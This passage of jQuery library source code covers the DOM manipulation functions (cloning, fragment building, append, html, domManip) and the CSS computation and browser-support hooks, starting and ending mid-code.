// cloning other types of input fields
} else if ( nodeName === "input" || nodeName === "textarea" ) {
dest.defaultValue = src.defaultValue;
}
}
jQuery.extend({
clone: function( elem, dataAndEvents, deepDataAndEvents ) {
var destElements, node, clone, i, srcElements,
inPage = jQuery.contains( elem.ownerDocument, elem );
if ( support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test( "<" + elem.nodeName + ">" ) ) {
clone = elem.cloneNode( true );
// IE<=8 does not properly clone detached, unknown element nodes
} else {
fragmentDiv.innerHTML = elem.outerHTML;
fragmentDiv.removeChild( clone = fragmentDiv.firstChild );
}
if ( (!support.noCloneEvent || !support.noCloneChecked) &&
(elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem) ) {
// We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2
destElements = getAll( clone );
srcElements = getAll( elem );
// Fix all IE cloning issues
for ( i = 0; (node = srcElements[i]) != null; ++i ) {
// Ensure that the destination node is not null; Fixes #9587
if ( destElements[i] ) {
fixCloneNodeIssues( node, destElements[i] );
}
}
}
// Copy the events from the original to the clone
if ( dataAndEvents ) {
if ( deepDataAndEvents ) {
srcElements = srcElements || getAll( elem );
destElements = destElements || getAll( clone );
for ( i = 0; (node = srcElements[i]) != null; i++ ) {
cloneCopyEvent( node, destElements[i] );
}
} else {
cloneCopyEvent( elem, clone );
}
}
// Preserve script evaluation history
destElements = getAll( clone, "script" );
if ( destElements.length > 0 ) {
setGlobalEval( destElements, !inPage && getAll( elem, "script" ) );
}
destElements = srcElements = node = null;
// Return the cloned set
return clone;
},
buildFragment: function( elems, context, scripts, selection ) {
var j, elem, contains,
tmp, tag, tbody, wrap,
l = elems.length,
// Ensure a safe fragment
safe = createSafeFragment( context ),
nodes = [],
i = 0;
for ( ; i < l; i++ ) {
elem = elems[ i ];
if ( elem || elem === 0 ) {
// Add nodes directly
if ( jQuery.type( elem ) === "object" ) {
jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );
// Convert non-html into a text node
} else if ( !rhtml.test( elem ) ) {
nodes.push( context.createTextNode( elem ) );
// Convert html into DOM nodes
} else {
tmp = tmp || safe.appendChild( context.createElement("div") );
// Deserialize a standard representation
tag = (rtagName.exec( elem ) || [ "", "" ])[ 1 ].toLowerCase();
wrap = wrapMap[ tag ] || wrapMap._default;
tmp.innerHTML = wrap[1] + elem.replace( rxhtmlTag, "<$1></$2>" ) + wrap[2];
// Descend through wrappers to the right content
j = wrap[0];
while ( j-- ) {
tmp = tmp.lastChild;
}
// Manually add leading whitespace removed by IE
if ( !support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {
nodes.push( context.createTextNode( rleadingWhitespace.exec( elem )[0] ) );
}
// Remove IE's autoinserted <tbody> from table fragments
if ( !support.tbody ) {
// String was a <table>, *may* have spurious <tbody>
elem = tag === "table" && !rtbody.test( elem ) ?
tmp.firstChild :
// String was a bare <thead> or <tfoot>
wrap[1] === "<table>" && !rtbody.test( elem ) ?
tmp :
0;
j = elem && elem.childNodes.length;
while ( j-- ) {
if ( jQuery.nodeName( (tbody = elem.childNodes[j]), "tbody" ) && !tbody.childNodes.length ) {
elem.removeChild( tbody );
}
}
}
jQuery.merge( nodes, tmp.childNodes );
// Fix #12392 for WebKit and IE > 9
tmp.textContent = "";
// Fix #12392 for oldIE
while ( tmp.firstChild ) {
tmp.removeChild( tmp.firstChild );
}
// Remember the top-level container for proper cleanup
tmp = safe.lastChild;
}
}
}
// Fix #11356: Clear elements from fragment
if ( tmp ) {
safe.removeChild( tmp );
}
// Reset defaultChecked for any radios and checkboxes
// about to be appended to the DOM in IE 6/7 (#8060)
if ( !support.appendChecked ) {
jQuery.grep( getAll( nodes, "input" ), fixDefaultChecked );
}
i = 0;
while ( (elem = nodes[ i++ ]) ) {
// #4087 - If origin and destination elements are the same, and this is
// that element, do not do anything
if ( selection && jQuery.inArray( elem, selection ) !== -1 ) {
continue;
}
contains = jQuery.contains( elem.ownerDocument, elem );
// Append to fragment
tmp = getAll( safe.appendChild( elem ), "script" );
// Preserve script evaluation history
if ( contains ) {
setGlobalEval( tmp );
}
// Capture executables
if ( scripts ) {
j = 0;
while ( (elem = tmp[ j++ ]) ) {
if ( rscriptType.test( elem.type || "" ) ) {
scripts.push( elem );
}
}
}
}
tmp = null;
return safe;
},
cleanData: function( elems, /* internal */ acceptData ) {
var elem, type, id, data,
i = 0,
internalKey = jQuery.expando,
cache = jQuery.cache,
deleteExpando = support.deleteExpando,
special = jQuery.event.special;
for ( ; (elem = elems[i]) != null; i++ ) {
if ( acceptData || jQuery.acceptData( elem ) ) {
id = elem[ internalKey ];
data = id && cache[ id ];
if ( data ) {
if ( data.events ) {
for ( type in data.events ) {
if ( special[ type ] ) {
jQuery.event.remove( elem, type );
// This is a shortcut to avoid jQuery.event.remove's overhead
} else {
jQuery.removeEvent( elem, type, data.handle );
}
}
}
// Remove cache only if it was not already removed by jQuery.event.remove
if ( cache[ id ] ) {
delete cache[ id ];
// IE does not allow us to delete expando properties from nodes,
// nor does it have a removeAttribute function on Document nodes;
// we must handle all of these cases
if ( deleteExpando ) {
delete elem[ internalKey ];
} else if ( typeof elem.removeAttribute !== strundefined ) {
elem.removeAttribute( internalKey );
} else {
elem[ internalKey ] = null;
}
deletedIds.push( id );
}
}
}
}
}
});
jQuery.fn.extend({
text: function( value ) {
return access( this, function( value ) {
return value === undefined ?
jQuery.text( this ) :
this.empty().append( ( this[0] && this[0].ownerDocument || document ).createTextNode( value ) );
}, null, value, arguments.length );
},
append: function() {
return this.domManip( arguments, function( elem ) {
if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
var target = manipulationTarget( this, elem );
target.appendChild( elem );
}
});
},
prepend: function() {
return this.domManip( arguments, function( elem ) {
if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
var target = manipulationTarget( this, elem );
target.insertBefore( elem, target.firstChild );
}
});
},
before: function() {
return this.domManip( arguments, function( elem ) {
if ( this.parentNode ) {
this.parentNode.insertBefore( elem, this );
}
});
},
after: function() {
return this.domManip( arguments, function( elem ) {
if ( this.parentNode ) {
this.parentNode.insertBefore( elem, this.nextSibling );
}
});
},
remove: function( selector, keepData /* Internal Use Only */ ) {
var elem,
elems = selector ? jQuery.filter( selector, this ) : this,
i = 0;
for ( ; (elem = elems[i]) != null; i++ ) {
if ( !keepData && elem.nodeType === 1 ) {
jQuery.cleanData( getAll( elem ) );
}
if ( elem.parentNode ) {
if ( keepData && jQuery.contains( elem.ownerDocument, elem ) ) {
setGlobalEval( getAll( elem, "script" ) );
}
elem.parentNode.removeChild( elem );
}
}
return this;
},
empty: function() {
var elem,
i = 0;
for ( ; (elem = this[i]) != null; i++ ) {
// Remove element nodes and prevent memory leaks
if ( elem.nodeType === 1 ) {
jQuery.cleanData( getAll( elem, false ) );
}
// Remove any remaining nodes
while ( elem.firstChild ) {
elem.removeChild( elem.firstChild );
}
// If this is a select, ensure that it displays empty (#12336)
// Support: IE<9
if ( elem.options && jQuery.nodeName( elem, "select" ) ) {
elem.options.length = 0;
}
}
return this;
},
clone: function( dataAndEvents, deepDataAndEvents ) {
dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
return this.map(function() {
return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
});
},
html: function( value ) {
return access( this, function( value ) {
var elem = this[ 0 ] || {},
i = 0,
l = this.length;
if ( value === undefined ) {
return elem.nodeType === 1 ?
elem.innerHTML.replace( rinlinejQuery, "" ) :
undefined;
}
// See if we can take a shortcut and just use innerHTML
if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
( support.htmlSerialize || !rnoshimcache.test( value ) ) &&
( support.leadingWhitespace || !rleadingWhitespace.test( value ) ) &&
!wrapMap[ (rtagName.exec( value ) || [ "", "" ])[ 1 ].toLowerCase() ] ) {
value = value.replace( rxhtmlTag, "<$1></$2>" );
try {
for (; i < l; i++ ) {
// Remove element nodes and prevent memory leaks
elem = this[i] || {};
if ( elem.nodeType === 1 ) {
jQuery.cleanData( getAll( elem, false ) );
elem.innerHTML = value;
}
}
elem = 0;
// If using innerHTML throws an exception, use the fallback method
} catch(e) {}
}
if ( elem ) {
this.empty().append( value );
}
}, null, value, arguments.length );
},
replaceWith: function() {
var arg = arguments[ 0 ];
// Make the changes, replacing each context element with the new content
this.domManip( arguments, function( elem ) {
arg = this.parentNode;
jQuery.cleanData( getAll( this ) );
if ( arg ) {
arg.replaceChild( elem, this );
}
});
// Force removal if there was no new content (e.g., from empty arguments)
return arg && (arg.length || arg.nodeType) ? this : this.remove();
},
detach: function( selector ) {
return this.remove( selector, true );
},
domManip: function( args, callback ) {
// Flatten any nested arrays
args = concat.apply( [], args );
var first, node, hasScripts,
scripts, doc, fragment,
i = 0,
l = this.length,
set = this,
iNoClone = l - 1,
value = args[0],
isFunction = jQuery.isFunction( value );
// We can't cloneNode fragments that contain checked, in WebKit
if ( isFunction ||
( l > 1 && typeof value === "string" &&
!support.checkClone && rchecked.test( value ) ) ) {
return this.each(function( index ) {
var self = set.eq( index );
if ( isFunction ) {
args[0] = value.call( this, index, self.html() );
}
self.domManip( args, callback );
});
}
if ( l ) {
fragment = jQuery.buildFragment( args, this[ 0 ].ownerDocument, false, this );
first = fragment.firstChild;
if ( fragment.childNodes.length === 1 ) {
fragment = first;
}
if ( first ) {
scripts = jQuery.map( getAll( fragment, "script" ), disableScript );
hasScripts = scripts.length;
// Use the original fragment for the last item instead of the first because it can end up
// being emptied incorrectly in certain situations (#8070).
for ( ; i < l; i++ ) {
node = fragment;
if ( i !== iNoClone ) {
node = jQuery.clone( node, true, true );
// Keep references to cloned scripts for later restoration
if ( hasScripts ) {
jQuery.merge( scripts, getAll( node, "script" ) );
}
}
callback.call( this[i], node, i );
}
if ( hasScripts ) {
doc = scripts[ scripts.length - 1 ].ownerDocument;
// Reenable scripts
jQuery.map( scripts, restoreScript );
// Evaluate executable scripts on first document insertion
for ( i = 0; i < hasScripts; i++ ) {
node = scripts[ i ];
if ( rscriptType.test( node.type || "" ) &&
!jQuery._data( node, "globalEval" ) && jQuery.contains( doc, node ) ) {
if ( node.src ) {
// Optional AJAX dependency, but won't run scripts if not present
if ( jQuery._evalUrl ) {
jQuery._evalUrl( node.src );
}
} else {
jQuery.globalEval( ( node.text || node.textContent || node.innerHTML || "" ).replace( rcleanScript, "" ) );
}
}
}
}
// Fix #11809: Avoid leaking memory
fragment = first = null;
}
}
return this;
}
});
jQuery.each({
appendTo: "append",
prependTo: "prepend",
insertBefore: "before",
insertAfter: "after",
replaceAll: "replaceWith"
}, function( name, original ) {
jQuery.fn[ name ] = function( selector ) {
var elems,
i = 0,
ret = [],
insert = jQuery( selector ),
last = insert.length - 1;
for ( ; i <= last; i++ ) {
elems = i === last ? this : this.clone(true);
jQuery( insert[i] )[ original ]( elems );
// Modern browsers can apply jQuery collections as arrays, but oldIE needs a .get()
push.apply( ret, elems.get() );
}
return this.pushStack( ret );
};
});
var iframe,
elemdisplay = {};
/**
* Retrieve the actual display of a element
* @param {String} name nodeName of the element
* @param {Object} doc Document object
*/
// Called only from within defaultDisplay
function actualDisplay( name, doc ) {
var style,
elem = jQuery( doc.createElement( name ) ).appendTo( doc.body ),
// getDefaultComputedStyle might be reliably used only on attached element
display = window.getDefaultComputedStyle && ( style = window.getDefaultComputedStyle( elem[ 0 ] ) ) ?
// Use of this method is a temporary fix (more like optmization) until something better comes along,
// since it was removed from specification and supported only in FF
style.display : jQuery.css( elem[ 0 ], "display" );
// We don't have any data stored on the element,
// so use "detach" method as fast way to get rid of the element
elem.detach();
return display;
}
/**
* Try to determine the default display value of an element
* @param {String} nodeName
*/
function defaultDisplay( nodeName ) {
var doc = document,
display = elemdisplay[ nodeName ];
if ( !display ) {
display = actualDisplay( nodeName, doc );
// If the simple way fails, read from inside an iframe
if ( display === "none" || !display ) {
// Use the already-created iframe if possible
iframe = (iframe || jQuery( "<iframe frameborder='0' width='0' height='0'/>" )).appendTo( doc.documentElement );
// Always write a new HTML skeleton so Webkit and Firefox don't choke on reuse
doc = ( iframe[ 0 ].contentWindow || iframe[ 0 ].contentDocument ).document;
// Support: IE
doc.write();
doc.close();
display = actualDisplay( nodeName, doc );
iframe.detach();
}
// Store the correct default display
elemdisplay[ nodeName ] = display;
}
return display;
}
(function() {
var shrinkWrapBlocksVal;
support.shrinkWrapBlocks = function() {
if ( shrinkWrapBlocksVal != null ) {
return shrinkWrapBlocksVal;
}
// Will be changed later if needed.
shrinkWrapBlocksVal = false;
// Minified: var b,c,d
var div, body, container;
body = document.getElementsByTagName( "body" )[ 0 ];
if ( !body || !body.style ) {
// Test fired too early or in an unsupported environment, exit.
return;
}
// Setup
div = document.createElement( "div" );
container = document.createElement( "div" );
container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
body.appendChild( container ).appendChild( div );
// Support: IE6
// Check if elements with layout shrink-wrap their children
if ( typeof div.style.zoom !== strundefined ) {
// Reset CSS: box-sizing; display; margin; border
div.style.cssText =
// Support: Firefox<29, Android 2.3
// Vendor-prefix box-sizing
"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" +
"box-sizing:content-box;display:block;margin:0;border:0;" +
"padding:1px;width:1px;zoom:1";
div.appendChild( document.createElement( "div" ) ).style.width = "5px";
shrinkWrapBlocksVal = div.offsetWidth !== 3;
}
body.removeChild( container );
return shrinkWrapBlocksVal;
};
})();
var rmargin = (/^margin/);
var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
var getStyles, curCSS,
rposition = /^(top|right|bottom|left)$/;
if ( window.getComputedStyle ) {
getStyles = function( elem ) {
return elem.ownerDocument.defaultView.getComputedStyle( elem, null );
};
curCSS = function( elem, name, computed ) {
var width, minWidth, maxWidth, ret,
style = elem.style;
computed = computed || getStyles( elem );
// getPropertyValue is only needed for .css('filter') in IE9, see #12537
ret = computed ? computed.getPropertyValue( name ) || computed[ name ] : undefined;
if ( computed ) {
if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) {
ret = jQuery.style( elem, name );
}
// A tribute to the "awesome hack by Dean Edwards"
// Chrome < 17 and Safari 5.0 uses "computed value" instead of "used value" for margin-right
// Safari 5.1.7 (at least) returns percentage for a larger set of values, but width seems to be reliably pixels
// this is against the CSSOM draft spec: http://dev.w3.org/csswg/cssom/#resolved-values
if ( rnumnonpx.test( ret ) && rmargin.test( name ) ) {
// Remember the original values
width = style.width;
minWidth = style.minWidth;
maxWidth = style.maxWidth;
// Put in the new values to get a computed value out
style.minWidth = style.maxWidth = style.width = ret;
ret = computed.width;
// Revert the changed values
style.width = width;
style.minWidth = minWidth;
style.maxWidth = maxWidth;
}
}
// Support: IE
// IE returns zIndex value as an integer.
return ret === undefined ?
ret :
ret + "";
};
} else if ( document.documentElement.currentStyle ) {
getStyles = function( elem ) {
return elem.currentStyle;
};
curCSS = function( elem, name, computed ) {
var left, rs, rsLeft, ret,
style = elem.style;
computed = computed || getStyles( elem );
ret = computed ? computed[ name ] : undefined;
// Avoid setting ret to empty string here
// so we don't default to auto
if ( ret == null && style && style[ name ] ) {
ret = style[ name ];
}
// From the awesome hack by Dean Edwards
// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
// If we're not dealing with a regular pixel number
// but a number that has a weird ending, we need to convert it to pixels
// but not position css attributes, as those are proportional to the parent element instead
// and we can't measure the parent instead because it might trigger a "stacking dolls" problem
if ( rnumnonpx.test( ret ) && !rposition.test( name ) ) {
// Remember the original values
left = style.left;
rs = elem.runtimeStyle;
rsLeft = rs && rs.left;
// Put in the new values to get a computed value out
if ( rsLeft ) {
rs.left = elem.currentStyle.left;
}
style.left = name === "fontSize" ? "1em" : ret;
ret = style.pixelLeft + "px";
// Revert the changed values
style.left = left;
if ( rsLeft ) {
rs.left = rsLeft;
}
}
// Support: IE
// IE returns zIndex value as an integer.
return ret === undefined ?
ret :
ret + "" || "auto";
};
}
function addGetHookIf( conditionFn, hookFn ) {
// Define the hook, we'll check on the first run if it's really needed.
return {
get: function() {
var condition = conditionFn();
if ( condition == null ) {
// The test was not ready at this point; screw the hook this time
// but check again when needed next time.
return;
}
if ( condition ) {
// Hook not needed (or it's not possible to use it due to missing dependency),
// remove it.
// Since there are no other hooks for marginRight, remove the whole object.
delete this.get;
return;
}
// Hook needed; redefine it so that the support test is not executed again.
return (this.get = hookFn).apply( this, arguments );
}
};
}
(function() {
// Minified: var b,c,d,e,f,g, h,i
var div, style, a, pixelPositionVal, boxSizingReliableVal,
reliableHiddenOffsetsVal, reliableMarginRightVal;
// Setup
div = document.createElement( "div" );
div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
a = div.getElementsByTagName( "a" )[ 0 ];
style = a && a.style;
// Finish early in limited (non-browser) environments
if ( !style ) {
return;
}
style.cssText = "float:left;opacity:.5";
// Support: IE<9
// Make sure that element opacity exists (as opposed to filter)
support.opacity = style.opacity === "0.5";
// Verify style float existence
// (IE uses styleFloat instead of cssFloat)
support.cssFloat = !!style.cssFloat;
div.style.backgroundClip = "content-box";
div.cloneNode( true ).style.backgroundClip = "";
support.clearCloneStyle = div.style.backgroundClip === "content-box";
// Support: Firefox<29, Android 2.3
// Vendor-prefix box-sizing
support.boxSizing = style.boxSizing === "" || style.MozBoxSizing === "" ||
style.WebkitBoxSizing === "";
jQuery.extend(support, {
reliableHiddenOffsets: function() {
if ( reliableHiddenOffsetsVal == null ) {
computeStyleTests();
}
return reliableHiddenOffsetsVal;
},
boxSizingReliable: function() {
if ( boxSizingReliableVal == null ) {
computeStyleTests();
}
return boxSizingReliableVal;
},
pixelPosition: function() {
if ( pixelPositionVal == null ) {
computeStyleTests();
}
return pixelPositionVal;
},
// Support: Android 2.3
reliableMarginRight: function() {
if ( reliableMarginRightVal == null ) {
computeStyleTests();
}
return reliableMarginRightVal;
}
});
function computeStyleTests() {
// Minified: var b,c,d,j
var div, body, container, contents;
body = document.getElementsByTagName( "body" )[ 0 ];
if ( !body || !body.style ) {
// Test fired too early or in an unsupported environment, exit.
return;
}
// Setup
div = document.createElement( "div" );
container = document.createElement( "div" );
container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
body.appendChild( container ).appendChild( div );
div.style.cssText =
// Support: Firefox<29, Android 2.3
// Vendor-prefix box-sizing
"-webkit-box-sizing:border-box;-moz-box-sizing:border-box;" +
"box-sizing:border-box;display:block;margin-top:1%;top:1%;" +
"border:1px;padding:1px;width:4px;position:absolute";
// Support: IE<9
// Assume reasonable values in the absence of getComputedStyle
pixelPositionVal = boxSizingReliableVal = false;
reliableMarginRightVal = true;
// Check for getComputedStyle so that this code is not run in IE<9.
if ( window.getComputedStyle ) {
pixelPositionVal = ( window.getComputedStyle( div, null ) || {} ).top !== "1%";
boxSizingReliableVal =
( window.getComputedStyle( div, null ) || { width: "4px" } ).width === "4px";
// Support: Android 2.3
// Div with explicit width and no margin-right incorrectly
// gets computed margin-right based on width of container (#3333)
// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
contents = div.appendChild( document.createElement( "div" ) );
// Reset CSS: box-sizing; display; margin; border; padding
contents.style.cssText = div.style.cssText =
// Support: Firefox<29, Android 2.3
// Vendor-prefix box-sizing
"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" +
"box-sizing:content-box;display:block;margin:0;border:0;padding:0";
contents.style.marginRight = contents.style.width = "0";
div.style.width = "1px";
reliableMarginRightVal =
!parseFloat( ( window.getComputedStyle( contents, null ) || {} ).marginRight );
}
// Support: IE8
// Check if table cells still have offsetWidth/Height when they are set
// to display:none and there are still other visible table cells in a
// table row; if so, offsetWidth/Height are not reliable for use when
// determining if an element has been hidden directly using
// display:none (it is still safe to use offsets if a parent element is
// hidden; don safety goggles and see bug #4512 for more information).
div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
contents = div.getElementsByTagName( "td" );
contents[ 0 ].style.cssText = "margin:0;border:0;padding:0;display:none";
reliableHiddenOffsetsVal = contents[ 0 ].offsetHeight === 0;
if ( reliableHiddenOffsetsVal ) {
contents[ 0 ].style.display = "";
contents[ 1 ].style.display = "none";
reliableHiddenOffsetsVal = contents[ 0 ].offsetHeight === 0;
}
body.removeChild( container );
}
})();
// A method for quickly swapping in/out CSS properties to get correct calculations.
jQuery.swap = function( elem, options, callback, args ) {
var ret, name,
old = {};
// Remember the old values, and insert the new ones
for ( name in options ) {
old[ name ] = elem.style[ name ];
elem.style[ name ] = options[ name ];
}
ret = callback.apply( elem, args || [] );
// Revert the old values
for ( name in options ) {
elem.style[ name ] = old[ name ];
}
return ret;
};
var
ralpha = /alpha\([^)]*\)/i,
ropacity = /opacity\s*=\s*([^)]*)/,
// swappable if display is none or starts with table except "table", "table-cell", or "table-caption"
// see here for display values: https://developer.mozilla.org/en-US/docs/CSS/display
rdisplayswap = /^(none|table(?!-c[ea]).+)/,
rnumsplit = new RegExp( "^(" + pnum + ")(.*)$", "i" ),
rrelNum = new RegExp( "^([+-])=(" + pnum + ")", "i" ),
cssShow = { position: "absolute", visibility: "hidden", display: "block" },
cssNormalTransform = {
letterSpacing: "0",
fontWeight: "400"
},
cssPrefixes = [ "Webkit", "O", "Moz", "ms" ];
// return a css property mapped to a potentially vendor prefixed property
function vendorPropName( style, name ) {
// shortcut for names that are not vendor prefixed
if ( name in style ) {
return name;
}
// check for vendor prefixed names
var capName = name.charAt(0).toUpperCase() + name.slice(1),
origName = name,
i = cssPrefixes.length;
while ( i-- ) {
name = cssPrefixes[ i ] + capName;
if ( name in style ) {
return name;
}
}
return origName;
}
function showHide( elements, show ) {
var display, elem, hidden,
values = [],
index = 0,
length = elements.length;
for ( ; index < length; index++ ) {
elem = elements[ index ];
if ( !elem.style ) {
continue;
}
values[ index ] = jQuery._data( elem, "olddisplay" );
display = elem.style.display;
if ( show ) {
// Reset the inline display of this element to learn if it is
// being hidden by cascaded rules or not
if ( !values[ index ] && display === "none" ) {
elem.style.display = "";
}
// Set elements which have been overridden with display: none
// in a stylesheet to whatever the default browser style is
// for such an element
if ( elem.style.display === "" && isHidden( elem ) ) {
values[ index ] = jQuery._data( elem, "olddisplay", defaultDisplay(elem.nodeName) );
}
} else {
hidden = isHidden( elem );
if ( display && display !== "none" || !hidden ) {
jQuery._data( elem, "olddisplay", hidden ? display : jQuery.css( elem, "display" ) );
}
}
}
// Set the display of most of the elements in a second loop
// to avoid the constant reflow
for ( index = 0; index < length; index++ ) {
elem = elements[ index ];
if ( !elem.style ) {
continue;
}
if ( !show || elem.style.display === "none" || elem.style.display === "" ) {
elem.style.display = show ? values[ index ] || "" : "none";
}
}
return elements;
}
function setPositiveNumber( elem, value, subtract ) {
var matches = rnumsplit.exec( value );
return matches ?
// Guard against undefined "subtract", e.g., when used as in cssHooks
Math.max( 0, matches[ 1 ] - ( subtract || 0 ) ) + ( matches[ 2 ] || "px" ) :
value;
}
function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) {
var i = extra === ( isBorderBox ? "border" : "content" ) ?
// If we already have the right measurement, avoid augmentation
4 :
// Otherwise initialize for horizontal or vertical properties
name === "width" ? 1 : 0,
val = 0;
for ( ; i < 4; i += 2 ) {
// both box models exclude margin, so add it if we want it
if ( extra === "margin" ) {
val += jQuery.css( elem, extra + cssExpand[ i ], true, styles );
}
if ( isBorderBox ) {
// border-box includes padding, so remove it if we want content
if ( extra === "content" ) {
val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
}
// at this point, extra isn't border nor margin, so remove border
if ( extra !== "margin" ) {
val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
}
} else {
// at this point, extra isn't content, so add padding
val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
// at this point, extra isn't content nor padding, so add border
if ( extra !== "padding" ) {
val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
}
}
}
return val;
}
function getWidthOrHeight( elem, name, extra ) {
// Start with offset property, which is equivalent to the border-box value
var valueIsBorderBox = true,
val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
styles = getStyles( elem ),
isBorderBox = support.boxSizing && jQuery.css( elem, "boxSizing", false, styles ) === "border-box";
// some non-html elements return undefined for offsetWidth, so check for null/undefined
// svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285
// MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668
if ( val <= 0 || val == null ) {
// Fall back to computed then uncomputed css if necessary
val = curCSS( elem, name, styles );
if ( val < 0 || val == null ) {
val = elem.style[ name ];
}
// Computed unit is not pixels. Stop here and return.
if ( rnumnonpx.test(val) ) {
return val;
}
// we need the check for style in case a browser which returns unreliable values
// for getComputedStyle silently falls back to the reliable elem.style
valueIsBorderBox = isBorderBox && ( support.boxSizingReliable() || val === elem.style[ name ] );
// Normalize "", auto, and prepare for extra
val = parseFloat( val ) || 0;
}
// use the active box-sizing model to add/subtract irrelevant styles
return ( val +
augmentWidthOrHeight(
elem,
name,
extra || ( isBorderBox ? "border" : "content" ),
valueIsBorderBox,
styles
)
) + "px";
}
jQuery.extend({
// Add in style property hooks for overriding the default
// behavior of getting and setting a style property
cssHooks: {
opacity: {
get: function( elem, computed ) {
if ( computed ) {
// We should always get a number back from opacity
var ret = curCSS( elem, "opacity" );
return ret === "" ? "1" : ret;
}
}
}
},
// Don't automatically add "px" to these possibly-unitless properties
cssNumber: {
"columnCount": true,
"fillOpacity": true,
"flexGrow": true,
"flexShrink": true,
"fontWeight": true,
"lineHeight": true,
"opacity": true,
"order": true,
"orphans": true,
"widows": true,
"zIndex": true,
"zoom": true
},
// Add in properties whose names you wish to fix before
// setting or getting the value
cssProps: {
// normalize float css property
"float": support.cssFloat ? "cssFloat" : "styleFloat"
},
// Get and set the style property on a DOM Node
style: function( elem, name, value, extra ) {
// Don't set styles on text and comment nodes
if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
return;
}
// Make sure that we're working with the right name
var ret, type, hooks,
origName = jQuery.camelCase( name ),
style = elem.style;
name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( style, origName ) );
// gets hook for the prefixed version
// followed by the unprefixed version
hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
// Check if we're setting a value
if ( value !== undefined ) {
type = typeof value;
// convert relative number strings (+= or -=) to relative numbers. #7345
if ( type === "string" && (ret = rrelNum.exec( value )) ) {
value = ( ret[1] + 1 ) * ret[2] + parseFloat( jQuery.css( elem, name ) );
// Fixes bug #9237
type = "number";
}
// Make sure that null and NaN values aren't set. See: #7116
if ( value == null || value !== value ) {
return;
}
// If a number was passed in, add 'px' to the (except for certain CSS properties)
if ( type === "number" && !jQuery.cssNumber[ origName ] ) {
value += "px";
}
// Fixes #8908, it can be done more correctly by specifing setters in cssHooks,
// but it would mean to define eight (for every problematic property) identical functions
if ( !support.clearCloneStyle && value === "" && name.indexOf("background") === 0 ) {
style[ name ] = "inherit";
}
// If a hook was provided, use that value, otherwise just set the specified value
if ( !hooks || !("set" in hooks) || (value = hooks.set( elem, value, extra )) !== undefined ) {
// Support: IE
// Swallow errors from 'invalid' CSS values (#5509)
try {
style[ name ] = value;
} catch(e) {}
}
} else {
// If a hook was provided get the non-computed value from there
if ( hooks && "get" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) {
return ret;
}
// Otherwise just get the value from the style object
return style[ name ];
}
},
css: function( elem, name, extra, styles ) {
var num, val, hooks,
origName = jQuery.camelCase( name );
// Make sure that we're working with the right name
name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( elem.style, origName ) );
// gets hook for the prefixed version
// followed by the unprefixed version
hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
// If a hook was provided get the computed value from there
if ( hooks && "get" in hooks ) {
val = hooks.get( elem, true, extra );
}
// Otherwise, if a way to get the computed value exists, use that
if ( val === undefined ) {
val = curCSS( elem, name, styles );
}
//convert "normal" to computed value
if ( val === "normal" && name in cssNormalTransform ) {
val = cssNormalTransform[ name ];
}
// Return, converting to number if forced or a qualifier was provided and val looks numeric
if ( extra === "" || extra ) {
num = parseFloat( val );
return extra === true || jQuery.isNumeric( num ) ? num || 0 : val;
}
return val;
}
});
jQuery.each([ "height", "width" ], function( i, name ) {
jQuery.cssHooks[ name ] = {
get: function( elem, computed, extra ) {
if ( computed ) {
// certain elements can have dimension info if we invisibly show them
// however, it must have a current display style that would benefit from this
return rdisplayswap.test( jQuery.css( elem, "display" ) ) && elem.offsetWidth === 0 ?
jQuery.swap( elem, cssShow, function() {
return getWidthOrHeight( elem, name, extra );
}) :
getWidthOrHeight( elem, name, extra );
}
},
set: function( elem, value, extra ) {
var styles = extra && getStyles( elem );
return setPositiveNumber( elem, value, extra ?
augmentWidthOrHeight(
elem,
name,
extra,
support.boxSizing && jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
styles
) : 0
);
}
};
});
if ( !support.opacity ) {
jQuery.cssHooks.opacity = {
get: function( elem, computed ) {
// IE uses filters for opacity
return ropacity.test( (computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "" ) ?
( 0.01 * parseFloat( RegExp.$1 ) ) + "" :
computed ? "1" : "";
},
set: function( elem, value ) {
var style = elem.style,
currentStyle = elem.currentStyle,
opacity = jQuery.isNumeric( value ) ? "alpha(opacity=" + value * 100 + ")" : "",
filter = currentStyle && currentStyle.filter || style.filter || "";
// IE has trouble with opacity if it does not have layout
// Force it by setting the zoom level
style.zoom = 1;
